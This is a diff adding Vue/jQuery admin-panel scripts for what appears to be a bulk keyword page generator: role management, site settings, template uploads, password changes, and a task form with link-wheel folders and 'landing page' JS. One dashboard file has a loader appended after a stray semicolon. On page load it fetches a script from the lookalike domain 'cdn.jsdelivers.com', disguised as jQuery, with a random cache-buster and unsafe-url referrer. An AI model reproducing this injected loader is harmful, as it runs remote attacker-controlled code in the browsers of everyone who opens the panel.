dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.lists.splice(this.ac.index,1);
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/api/roles",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
getallpermissions:function(){
|
||||
$.ajax({
|
||||
url: "/okadmin/api/allPermissions",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
this.permissions=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
selAp:function(id){
|
||||
if(comm.isArrayCon(this.selpss,id)){
|
||||
for(var i=0;i<this.selpss.length;i++){
|
||||
if(id==this.selpss[i]){
|
||||
this.selpss.splice(i,1)
|
||||
}
|
||||
}
|
||||
}else{
|
||||
this.selpss.push(id);
|
||||
}
|
||||
//console.log(JSON.stringify(this.one.permissions));
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,142 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"8004",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23",
|
||||
one:{
|
||||
sitename:'',
|
||||
domain_name:'',
|
||||
kf_weixin:'',
|
||||
kf_qq:'',
|
||||
kf_qq2:'',
|
||||
kf_400:'',
|
||||
kf_wxcode:'',
|
||||
site_desc:'',
|
||||
site_keyword:'',
|
||||
client_name:''
|
||||
},
|
||||
ruleOne:{
|
||||
sitename:[
|
||||
{ required: true, message: '请输入4-20位系统名称', trigger: 'blur',min:4,max:20}
|
||||
],
|
||||
domain_name:[
|
||||
{ required: true, message: '请输入正确的网址,如abc.com', trigger: 'blur'}
|
||||
]
|
||||
},
|
||||
types:[]
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getsysinfo();
|
||||
},
|
||||
fileClick:function(){
|
||||
$('#file').click();
|
||||
},
|
||||
upok:function(files, fileList){
|
||||
this.one.kf_wxcode=files.url;
|
||||
},
|
||||
uperror:function(err, file, fileList){
|
||||
console.log(JSON.stringify(err))
|
||||
console.log(JSON.stringify(file))
|
||||
console.log(JSON.stringify(fileList))
|
||||
this.$message.error(file.msg);
|
||||
},
|
||||
beforeAvatarUpload(file) {
|
||||
console.log(file.type)
|
||||
const isJPG = (file.type === 'image/jpeg' || file.type === 'image/png');
|
||||
const isLt2M = file.size / 1024 / 1024 < 2;
|
||||
|
||||
if (!isJPG) {
|
||||
this.$message.error('请上传JPG,PNG类型图片!');
|
||||
return false;
|
||||
}
|
||||
if (!isLt2M) {
|
||||
this.$message.error('上传文件大小不能超过 2MB!');
|
||||
return false;
|
||||
}
|
||||
return isJPG && isLt2M;
|
||||
},
|
||||
adds:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (valid) {
|
||||
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: "/admin/admin/systemup",
|
||||
type: "put",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
|
||||
this.$message.success("保存成功!");
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
},
|
||||
getsysinfo:function(){
|
||||
$.ajax({
|
||||
url: "/admin/admin/sysinfo",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.one=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){}.bind(this)
|
||||
});
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/admin/admin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
comm.uppassISshow=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/admin/admin/loginout";
|
||||
}, 2000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,254 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"803",
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
file:"",
|
||||
name:"",
|
||||
dec:""
|
||||
},
|
||||
oneRulue:{
|
||||
file:[
|
||||
{ required: true,message: '请上传模板', trigger: 'blur' }
|
||||
],
|
||||
name:[
|
||||
{ required: true,message: '请输入模板名称', trigger: 'blur' },
|
||||
{ type: "string",min:2,max:20,message: '模板名称长度为2-20', trigger: 'blur' },
|
||||
],
|
||||
dec:[
|
||||
{ required: true,message: '请输入描述', trigger: 'blur' }
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
},
|
||||
types:[],
|
||||
total:0,
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.gettype();
|
||||
this.getlist();
|
||||
},
|
||||
typeid2str:function(id){
|
||||
for(var i=0;i<this.types.length;i++){
|
||||
if(this.types[i].id==id){
|
||||
return this.types[i].name;
|
||||
}
|
||||
}
|
||||
},
|
||||
edit:function(index){
|
||||
if(index>-1){
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
dec:this.lists[index].dec,
|
||||
name:this.lists[index].name,
|
||||
file:this.lists[index].file
|
||||
}
|
||||
this.one=one
|
||||
}else{
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
file:"",
|
||||
name:"",
|
||||
dec:""
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
edits:function(){
|
||||
window.location.href="/okadmin/contentadds";
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (!valid) {
|
||||
//this.$Message.error('表单填写不完整');
|
||||
} else {
|
||||
var url="/okadmin/templates";
|
||||
var type="post";
|
||||
var oktxt="内容添加";
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/content/"+this.lists[this.ac.index].id;
|
||||
type="put";
|
||||
oktxt="内容修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.getlist();
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除该内容, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/template/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.getlist();
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
yulan:function(index){
|
||||
this.ac.index=index;
|
||||
|
||||
},
|
||||
fileClick:function(){
|
||||
$('#file').click();
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/templateslist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
this.total=data.total;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
gettype:function(){
|
||||
this.types=[];
|
||||
$.ajax({
|
||||
url: "/okadmin/typelist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.types=data.data;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
upok:function(files, fileList){
|
||||
this.one.file=files.url;
|
||||
},
|
||||
uperror:function(err, file, fileList){
|
||||
console.log(JSON.stringify(err))
|
||||
console.log(JSON.stringify(file))
|
||||
console.log(JSON.stringify(fileList))
|
||||
this.$message({
|
||||
showClose: true,
|
||||
message: file.msg,
|
||||
type: 'error'
|
||||
});
|
||||
},
|
||||
beforeAvatarUpload(file) {
|
||||
const isJPG = file.type === 'text/html';
|
||||
const isLt2M = file.size / 1024 / 1024 < 2;
|
||||
|
||||
if (!isJPG) {
|
||||
this.$message.error('请上传html类型文件!');
|
||||
}
|
||||
if (!isLt2M) {
|
||||
this.$message.error('上传文件大小不能超过 2MB!');
|
||||
}
|
||||
return isJPG && isLt2M;
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"801",
|
||||
menuAOpeneds:[],
|
||||
lists:[],
|
||||
isloading:true,
|
||||
datatxt:"数据加载中",
|
||||
iseditshow:false,
|
||||
one:{
|
||||
name:'',
|
||||
px:10
|
||||
},
|
||||
oneRulue:{
|
||||
name:[
|
||||
{ required: true, message: '请输入分类名称', trigger: 'blur' },
|
||||
{ type: 'string', min: 2, message: '分类名称至少2字符', trigger: 'blur' },
|
||||
{ type: 'string', max: 15, message: '分类名称最多15符', trigger: 'blur' }
|
||||
],
|
||||
px:[
|
||||
{ required: true,type: 'number',message: '请输入排序', trigger: 'blur' },
|
||||
]
|
||||
},
|
||||
ac:{
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getlist();
|
||||
},
|
||||
edit:function(index){
|
||||
if(index>-1){
|
||||
this.ac={
|
||||
type:'edit',
|
||||
index:index
|
||||
}
|
||||
var one={
|
||||
name:this.lists[index].name,
|
||||
px:this.lists[index].px
|
||||
}
|
||||
this.one=one
|
||||
}else{
|
||||
this.ac={
|
||||
type:'add',
|
||||
index:null
|
||||
}
|
||||
this.one={
|
||||
name:'',
|
||||
px:10
|
||||
}
|
||||
}
|
||||
this.iseditshow=true;
|
||||
},
|
||||
editSub:function(name){
|
||||
this.$refs[name].validate((valid) => {
|
||||
if (!valid) {
|
||||
//this.$Message.error('表单填写不完整');
|
||||
} else {
|
||||
var url="/okadmin/type";
|
||||
var type="post";
|
||||
var oktxt="分类添加";
|
||||
if(this.ac.type=="edit"){
|
||||
url="/okadmin/type/"+this.lists[this.ac.index].id;
|
||||
type="put";
|
||||
oktxt="分类修改";
|
||||
}
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: url,
|
||||
type: type,
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success(oktxt+"成功");
|
||||
if(this.ac.type=="add"){
|
||||
this.lists.push(data.data);
|
||||
}else{
|
||||
this.lists.splice(this.ac.index,1,data.data);
|
||||
}
|
||||
this.iseditshow=false;
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
}
|
||||
})
|
||||
},
|
||||
del:function(index){
|
||||
this.ac.index=index;
|
||||
this.$confirm('此操作将永久删除分类【'+this.lists[this.ac.index].name+'】, 是否继续?', '提示', {
|
||||
confirmButtonText: '确定',
|
||||
cancelButtonText: '取消',
|
||||
type: 'warning'
|
||||
}).then(() => {
|
||||
$.ajax({
|
||||
url: "/okadmin/type/"+this.lists[this.ac.index].id,
|
||||
type: "delete",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.$message.success("删除成功");
|
||||
this.lists.splice(this.ac.index,1);
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
|
||||
}).catch(() => {
|
||||
|
||||
});
|
||||
},
|
||||
getlist:function(){
|
||||
this.isloading=true;
|
||||
this.lists=[];
|
||||
this.datatxt="数据加载中";
|
||||
$.ajax({
|
||||
url: "/okadmin/typelist",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.isloading=false;
|
||||
|
||||
this.lists=data.data;
|
||||
if(this.lists.length<1){
|
||||
this.datatxt="没有数据";
|
||||
}
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
|
||||
}.bind(this)
|
||||
});
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
password:old,
|
||||
newPassword:newp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/okadmin/uppass",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/okadmin/loginout";
|
||||
}, 3000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,44 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"101",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23"
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
|
||||
}
|
||||
}
|
||||
})
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data:{
|
||||
|
||||
menuActive:"801",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23",
|
||||
one:{
|
||||
email:'',
|
||||
realname:'',
|
||||
addtime:"",
|
||||
logintime:"",
|
||||
loginip:'',
|
||||
level:"",
|
||||
loginnumber:0,
|
||||
face:'',
|
||||
levelStr:''
|
||||
},
|
||||
ruleOne:{
|
||||
|
||||
}
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.one=my;
|
||||
},
|
||||
uppassSub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
var old=comm.sTrim(comm.uppassForm.oldpass)
|
||||
var newp=comm.sTrim(comm.uppassForm.newpass)
|
||||
var renewp=comm.sTrim(comm.uppassForm.repass)
|
||||
var query={
|
||||
old:old,
|
||||
newp:newp,
|
||||
renewp:renewp
|
||||
};
|
||||
$.ajax({
|
||||
url: "/member/uppassto",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
comm.uppassForm.newpass="";
|
||||
comm.uppassForm.oldpass="";
|
||||
comm.uppassForm.renewpass="";
|
||||
comm.uppassForm=false;
|
||||
this.$message.success("密码修改成功。请使用新密码重新登录!");
|
||||
setTimeout(function () {
|
||||
window.location.href="/member/loginout";
|
||||
}, 1500)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
//this.$message.error(JSON.parse(err.responseText).msg);
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,271 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data(){
|
||||
var filename_check = (rule, value, callback) => {
|
||||
if (!value) {
|
||||
return callback(new Error('文件名规则'));
|
||||
} else {
|
||||
const reg = /^[1a]{6,30}$/
|
||||
//console.log(reg.test(value))
|
||||
if (reg.test(value)) {
|
||||
callback();
|
||||
} else {
|
||||
return callback(new Error('文件名规则6-30位a和1组合'));
|
||||
}
|
||||
}
|
||||
};
|
||||
var title_check = (rule, value, callback) => {
|
||||
if (!value.length) {
|
||||
return callback(new Error('请选择/输入页面标题'));
|
||||
} else {
|
||||
var arr=[];
|
||||
for(var i=0;i<value.length;i++){
|
||||
if(value[i].type=='input' && !value[i].con){
|
||||
return callback(new Error('固定内容不能为空'));
|
||||
}
|
||||
if(value[i].type!='-' && value[i].type!='_' && !(value[i].type=='input' && !value[i].con)){
|
||||
arr.push(value[i])
|
||||
}
|
||||
}
|
||||
if(arr.length<1){
|
||||
return callback(new Error('页面标题要包含key/固定内容/dynamic其中一项'));
|
||||
}
|
||||
callback();
|
||||
}
|
||||
};
|
||||
var template_check = (rule, value, callback) => {
|
||||
if (!value.length) {
|
||||
return callback(new Error('请至少选择1个页面模板'));
|
||||
} else {
|
||||
callback();
|
||||
}
|
||||
};
|
||||
var folder_check = (rule, value, callback) => {
|
||||
if (!value) {
|
||||
return callback(new Error('请输入生成文件夹名称'));
|
||||
} else {
|
||||
const reg = /^[a-z0-9]{3,20}$/
|
||||
if (reg.test(value)) {
|
||||
if(this.one.is_wheel){
|
||||
if(this.one.wheel_chain.length<1){
|
||||
return callback(new Error('请选择轮链目录'));
|
||||
}
|
||||
}else{
|
||||
return callback();
|
||||
}
|
||||
return callback();
|
||||
} else {
|
||||
return callback(new Error('请输入3-20位字母+数字生成文件夹'));
|
||||
}
|
||||
|
||||
}
|
||||
};
|
||||
var key_check = (rule, value, callback) => {
|
||||
if (!value) {
|
||||
return callback(new Error('请输入页面关键词'));
|
||||
} else {
|
||||
var arr=value.split("\n");
|
||||
if(arr.length<1 || arr.length>10000){
|
||||
return callback(new Error('最多只能1万个关键词'));
|
||||
}
|
||||
var newkey=[];
|
||||
for(var i=0;i<arr.length;i++){
|
||||
if(comm.sTrim(arr[i])){
|
||||
newkey.push(arr[i])
|
||||
}
|
||||
}
|
||||
var str="";
|
||||
for(var x=0;x<newkey.length;x++){
|
||||
if(x>0){
|
||||
str+="\n";
|
||||
}
|
||||
str+=comm.sTrim(comm.middleTrim(newkey[x]));
|
||||
}
|
||||
this.one.key=str;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
var ground_page_check = (rule, value, callback) => {
|
||||
if (!value.length) {
|
||||
return callback(new Error('请输入落地页JS全称'));
|
||||
} else {
|
||||
//const reg = /^(?=^.{3,255}$)[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(\.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+$/
|
||||
const reg = /^[a-zA-Z0-9/]{1,100}(\.js)+$/
|
||||
//console.log(reg.test(value))
|
||||
if (reg.test(value)) {
|
||||
callback();
|
||||
} else {
|
||||
return callback(new Error('请输入正确落地页JS全称格式'));
|
||||
}
|
||||
}
|
||||
};
|
||||
return{
|
||||
menuActive:"101",
|
||||
menuAOpeneds:[],
|
||||
issub:true,
|
||||
nowtimes:"23",
|
||||
one:{
|
||||
sitename:'',
|
||||
title:[],
|
||||
key:"",
|
||||
folder:'',
|
||||
is_wheel:false,
|
||||
wheel_chain:[],
|
||||
description_type:'content',//页面描述类型content为自动获取内容20-30个文本;key则需要自动插入关键字,需要录入数量
|
||||
descriptionKey_num:1,//如果描述类型为key,则需要录入这个数量。1-
|
||||
template:[],
|
||||
filename_rules:"",
|
||||
ground_page:'',
|
||||
contentTypes:[]//内容类型
|
||||
},
|
||||
onekeyvalue:"",
|
||||
onekeyinputIsshow:false,
|
||||
floders:[],
|
||||
templates:[],
|
||||
types:[],//内容类型
|
||||
ruleOne:{
|
||||
sitename:[
|
||||
{ required: true, message: '请输入网站名称', trigger: 'blur',min:1}
|
||||
],
|
||||
title:[
|
||||
{ required: true, message: '请选择/输入页面标题', trigger: 'blur|change' },
|
||||
{validator: title_check, trigger: 'blur'}
|
||||
],
|
||||
key:[
|
||||
{ required: true,message: '请输入页面关键词', trigger: 'blur' },
|
||||
{validator: key_check, trigger: 'blur'}
|
||||
],
|
||||
folder:[
|
||||
{ required: true,message: '请输入生成文件夹名称', trigger: 'blur' },
|
||||
{validator: folder_check, trigger: 'blur'}
|
||||
],
|
||||
filename_rules:[
|
||||
{ required: true,min:6,max:30, message: '请输入文件名规则', trigger: 'blur|change' },
|
||||
{validator: filename_check, trigger: 'blur|change'}
|
||||
],
|
||||
template:[
|
||||
{ required: true,type:"array", message: '请至少选择1个页面模板', trigger: 'blur' },
|
||||
{validator: template_check, trigger: 'blur'}
|
||||
],
|
||||
ground_page:[
|
||||
{ required: true,message: '请输入落地页JS全称', trigger: 'blur' },
|
||||
{validator: ground_page_check, trigger: 'blur'}
|
||||
]
|
||||
/**/
|
||||
}
|
||||
}
|
||||
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
init:function(){
|
||||
this.getalltemplates();
|
||||
},
|
||||
sub:function(formName){
|
||||
this.$refs[formName].validate((valid) => {
|
||||
if (valid) {
|
||||
this.issub=false;
|
||||
var query=this.one;
|
||||
$.ajax({
|
||||
url: "/member/createtask",
|
||||
type: "post",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:JSON.stringify(query),
|
||||
success: function(data) {
|
||||
this.$message.success("任务创建成功");
|
||||
setTimeout(function () {
|
||||
window.location.href="/member/htmlprogress";
|
||||
}, 1000)
|
||||
}.bind(this),
|
||||
error:function(err){
|
||||
this.issub=true;
|
||||
}.bind(this)
|
||||
});
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
},
|
||||
keycount:function(){
|
||||
var key=this.one.key.split("\n");
|
||||
var newkey=[];
|
||||
for(var i=0;i<key.length;i++){
|
||||
if(key[i]){
|
||||
newkey.push(key[i])
|
||||
}
|
||||
}
|
||||
|
||||
return newkey.length;
|
||||
},
|
||||
getalltemplates:function(){
|
||||
$.ajax({
|
||||
url: "/member/tp",
|
||||
type: "get",
|
||||
dataType: "json",
|
||||
contentType: "application/json",
|
||||
data:"",
|
||||
success: function(data) {
|
||||
this.templates=data.templates;
|
||||
this.types=data.types
|
||||
}.bind(this),
|
||||
error:function(err){ }.bind(this)
|
||||
});
|
||||
},
|
||||
addtitle:function(type){
|
||||
var o={
|
||||
type:type,
|
||||
con:''
|
||||
}
|
||||
switch(type){
|
||||
case "key":
|
||||
o.con="key";
|
||||
break;
|
||||
case "dynamic":
|
||||
o.con="dynamic";
|
||||
break;
|
||||
case "_":
|
||||
o.con="_";
|
||||
break;
|
||||
case "-":
|
||||
o.con="-";
|
||||
break;
|
||||
case "input":
|
||||
o.con="";
|
||||
break;
|
||||
case "sitename":
|
||||
o.con="网站名称";
|
||||
break;
|
||||
case "title":
|
||||
o.con="文章标题";
|
||||
break;
|
||||
}
|
||||
this.one.title.push(o);
|
||||
},
|
||||
deltitle:function(index){
|
||||
this.one.title.splice(index,1)
|
||||
},
|
||||
delkey:function(tag){
|
||||
this.one.key.splice(this.one.key.indexOf(tag),1);
|
||||
},
|
||||
showonekeyinput:function(){
|
||||
this.onekeyinputIsshow = true;
|
||||
this.$nextTick(_ => {
|
||||
this.$refs.saveTagInput.$refs.input.focus();
|
||||
});
|
||||
},
|
||||
hideonekeyinput:function(){
|
||||
let onekeyvalue = this.onekeyvalue;
|
||||
if (onekeyvalue) {
|
||||
this.one.key.push(onekeyvalue);
|
||||
}
|
||||
this.onekeyinputIsshow = false;
|
||||
this.onekeyvalue = '';
|
||||
},
|
||||
|
||||
}
|
||||
})
|
||||
@@ -0,0 +1,120 @@
|
||||
var app=new Vue({
|
||||
el:"#app",
|
||||
data(){
|
||||
return{
|
||||
menuActive:"102",
|
||||
menuAOpeneds:[],
|
||||
nowtimes:"23",
|
||||
|
||||
}
|
||||
|
||||
},
|
||||
created: function() {
|
||||
var that=this;
|
||||
this.init();
|
||||
},
|
||||
methods: {
|
||||
